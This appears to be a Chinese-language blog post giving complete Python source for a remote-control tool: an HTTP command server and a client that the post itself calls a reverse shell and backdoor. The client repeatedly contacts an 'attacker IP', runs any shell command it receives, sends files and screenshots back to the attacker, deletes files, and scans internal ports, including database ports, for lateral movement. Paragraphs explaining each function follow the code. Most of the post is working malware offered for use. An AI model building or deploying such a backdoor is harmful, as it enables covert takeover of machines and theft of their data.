banner
andrewji8

Being towards death

Heed not to the tree-rustling and leaf-lashing rain, Why not stroll along, whistle and sing under its rein. Lighter and better suited than horses are straw sandals and a bamboo staff, Who's afraid? A palm-leaf plaited cape provides enough to misty weather in life sustain. A thorny spring breeze sobers up the spirit, I feel a slight chill, The setting sun over the mountain offers greetings still. Looking back over the bleak passage survived, The return in time Shall not be affected by windswept rain or shine.
telegram
twitter
github

Python 寫服務端遠程執行 CMD 命令

image

import http.server
import os,cgi

localhost= '127.0.0.1'    #本地IP非公网IP
port= 8081    #監聽端口

class MyHandler(http.server.BaseHTTPRequestHandler):
    global hostMachine    #上線主機
    hostMachine=0
    def do_GET(self):    #get請求處理
        global hostMachine
        if hostMachine==0:
            hostMachine=1
            print('宿主機已上線')
        command = input("<Potato>$ ")
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.end_headers()
        self.wfile.write(command.encode())
        if command=='exit':
            print('[Result] 該主機已下線') 
            hostMachine=0
        print('\n')

    def do_POST(self):    #Post請求處理
        if self.path == '/tmp':#文件數據處理
            try:
                ctype, pdict = cgi.parse_header(self.headers.get('Content-type'))
                if ctype == 'multipart/form-data':
                    fs = cgi.FieldStorage(fp=self.rfile, headers = self.headers, environ = {'REQUEST_METHOD' : 'POST'})
                else:
                    print('[Errot] POST數據格式錯誤')
                fs_data = fs['file'].file.read()
                fs_name = fs['name'].file.read().decode('gbk')
                with open('/s-'+fs_name, 'wb') as o:
                    print('[Information] 獲取中 ........')
                    o.write(fs_data)
                    print('[Result] 已保存至/s-'+fs_name)
                    self.send_response(200)
                    self.end_headers()
                    print('\n')
            except Exception as e:
                print(e)
            return

        self.send_response(200)
        self.end_headers()
        length = int(self.headers['Content-length'])
        postVar = self.rfile.read(length)
        print(postVar.decode('gbk','ignore'))

if __name__ == "__main__":
    httpd = http.server.HTTPServer((localhost, port), MyHandler)    #搭建簡易http伺服器
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        print('\n'+'[Error] 伺服器已關閉')伺服器

服務端代碼這個實現了一個簡單的 HTTP 伺服器,它可以處理 GET 和 POST 請求,並且具有一些基本功能。這個伺服器允許遠程用戶通過 GET 請求發送命令並獲取響應,也可以通過 POST 請求上傳文件。

以下是您的代碼的詳細介紹:

導入模塊和設置監聽地址和端口:

您首先導入了所需的模塊 http.server、os 和 cgi。

定義了本地 IP 地址 localhost 和監聽端口 port。

創建自定義的請求處理類 MyHandler:

MyHandler 類繼承自 http.server.BaseHTTPRequestHandler,用於處理 HTTP 請求。

在 MyHandler 類中,您定義了一個全局變量 hostMachine,用於標記主機的上線狀態。

處理 GET 請求 (do_GET 方法):

當收到 GET 請求時,伺服器會提示用戶輸入命令,並通過標準輸入 (input) 獲取命令。

如果主機之前處於下線狀態,會將其標記為上線狀態,並打印消息。

接收到的命令會以 HTTP 響應的形式發送回客戶端,狀態碼為 200。

如果命令為 "exit",則會打印下線消息並將主機標記為下線狀態。

處理 POST 請求 (do_POST 方法):

如果請求路徑為 "/tmp",則說明客戶端要上傳文件。

檢查請求的 Content-Type,如果是 "multipart/form-data",則使用 cgi.FieldStorage 處理文件上傳。

上傳的文件會保存在伺服器上,文件名以 "/s-" 開頭,並響應客戶端上傳成功的消息。

如果出現異常,會打印錯誤信息。

主程序部分:

在 if name == "main": 部分,您創建了一個簡單的 HTTP 伺服器,綁定到本地 IP 地址和指定的端口。

使用 http.server.HTTPServer 創建伺服器對象,監聽指定地址和端口。

伺服器在一個無限循環中運行,處理客戶端請求,直到捕獲到鍵盤中斷 (Ctrl+C) 時才會關閉伺服器。

import requests
import os
import time
import random
import subprocess
import pyscreenshot
import socket

def connect(attackerIp):
    while True:
        try:
            req = requests.get(attackerIp)
            command = req.text.strip() # 獲取伺服端命令,並去除首尾空格
            # 以下為自定義功能
            if command == 'exit':    # 退出程序
                return 1

            elif command.startswith('get'):    # 獲取文件
                path = command.split(" ")[1]
                if os.path.exists(path):
                    url = f'{attackerIp}/tmp'
                    files = {'file': open(path, 'rb'), 'name': os.path.basename(path)}
                    r = requests.post(url, files=files)
                else:
                    r = requests.post(url=attackerIp, data='[Error] 指定文件不存在'.encode('gbk'))

            elif command == 'screenshot':    # 獲取截屏
                try:
                    image = pyscreenshot.grab()
                    image.save("/kernel.png")
                    url = f'{attackerIp}/tmp'
                    files = {'file': open("/kernel.png", "rb"), 'name': os.path.basename("/kernel.png")}
                    r = requests.post(url, files=files)
                except Exception as e:
                    r = requests.post(url=attackerIp, data=str(e).encode('gbk'))

            elif command.startswith('remove'):    # 移除文件
                filename = command.split(' ')[1]
                if os.path.exists(filename):
                    os.remove(filename)
                else:
                    r = requests.post(attackerIp, data="[Error] 文件不存在".encode('gbk'))

            elif command.startswith('scan'):    # 橫向掃描
                try:
                    scan_result = ''
                    if len(command.split(" ")) > 2:
                        scan, ip, port = command.split(" ")
                    else:
                        port = command.split(" ")[1]
                        ip = '127.0.0.1'
                    scan_result = '\n'

                    defPort = list(range(1, 1001)) + [1433, 3306, 5432, 6379, 9200]  # 默認掃描端口
                    port = defPort if port == 'default' else port.split(',') if ',' in port else [port]

                    for p in port:
                        try:
                            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
                                sock.settimeout(3)
                                result = sock.connect_ex((ip, int(p)))
                                if result == 0:
                                    scan_result += f"       [開放] {p}\n"
                        except Exception:
                            pass
                    r = requests.post(url=attackerIp, data=scan_result.encode('gbk'))
                except Exception:
                    r = requests.post(attackerIp, data="[Error] 掃描端口錯誤".encode('gbk'))

            elif command.startswith('cd'):    # 切換目錄
                directory = command.split(' ')[1]
                try:
                    os.chdir(directory)
                    r = requests.post(attackerIp,
                                      data=f"[Result] 切換目錄至 {os.getcwd()}".encode('gbk'))
                except Exception:
                    r = requests.post(attackerIp, data="[Error] 無法切換目錄".encode('gbk'))

            else:    # 非快捷指令,則執行命令
                try:
                    CMD = subprocess.run(command, shell=True, capture_output=True)
                    r = requests.post(url=attackerIp, data=CMD.stdout)
                    r = requests.post(url=attackerIp, data=CMD.stderr)
                except Exception:
                    pass

        except Exception as e:
            pass

if __name__ == '__main__':
    attackerIp = 'http://127.0.0.1:8081'       # 攻擊者公網IP:監聽端口
    while True:
        try:
            if connect(attackerIp) == 1:
                break
        except:
            time.sleep(int(random.randrange(1, 10)))    # 無連接時間隔檢測

客戶端這段代碼實現了一個反向 Shell,也是一个後門程序,它會不斷連接一個攻擊者指定的 IP 地址,然後接收從攻擊者發送的命令並執行對應的操作。

首先,代碼導入了一些需要的庫,包括 requests 用於發送 HTTP 請求,os 用於操作文件和目錄,time 用於設置延遲,random 用於生成隨機數,subprocess 用於執行外部命令,pyscreenshot 用於截屏,socket 用於創建套接字進行端口掃描。

接下來是定義了一個 connect 函數,該函數會不斷循環進行連接和命令執行的操作。在循環內部,使用 requests 庫發送 HTTP GET 請求獲取攻擊者發送的命令,並去除命令字符串兩端的空格。然後根據命令內容執行相應的操作。

命令的解析邏輯如下:

如果命令為 exit,則退出程序。

如果命令以 get 開頭,表示獲取文件,取出命令中的路徑,並檢查文件是否存在。如果文件存在,則使用 requests 庫發送 HTTP POST 請求將文件發送給攻擊者,否則發送錯誤信息。

如果命令為 screenshot,則使用 pyscreenshot 庫進行屏幕截圖,並保存為 "/kernel.png" 文件,然後發送給攻擊者。

如果命令以 remove 開頭,表示移除文件,取出命令中的文件名,並檢查文件是否存在。如果文件存在,則使用 os.remove 函數刪除文件,否則發送錯誤信息。

如果命令以 scan 開頭,表示進行端口掃描。命令可能有兩種形式:scan 或 scan default。根據命令中的參數進行端口掃描,將開放的端口信息發送給攻擊者。

如果命令以 cd 開頭,表示切換目錄,取出命令中的目錄名,並使用 os.chdir 函數切換目錄,然後發送結果給攻擊者。

如果以上條件都不滿足,則將命令交給 subprocess.run 函數執行,並將執行結果發送給攻擊者。

最後,在 if name == 'main': 中,定義了攻擊者的 IP 地址和端口,並通過調用 connect 函數不斷進行連接。如果 connect 函數返回值為 1,則退出程序。在連接失敗時,使用 time.sleep 函數設定隨機的睡眠時間,以避免頻繁連接。
伺服器調用客戶端執行 CMD 命令:

image

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。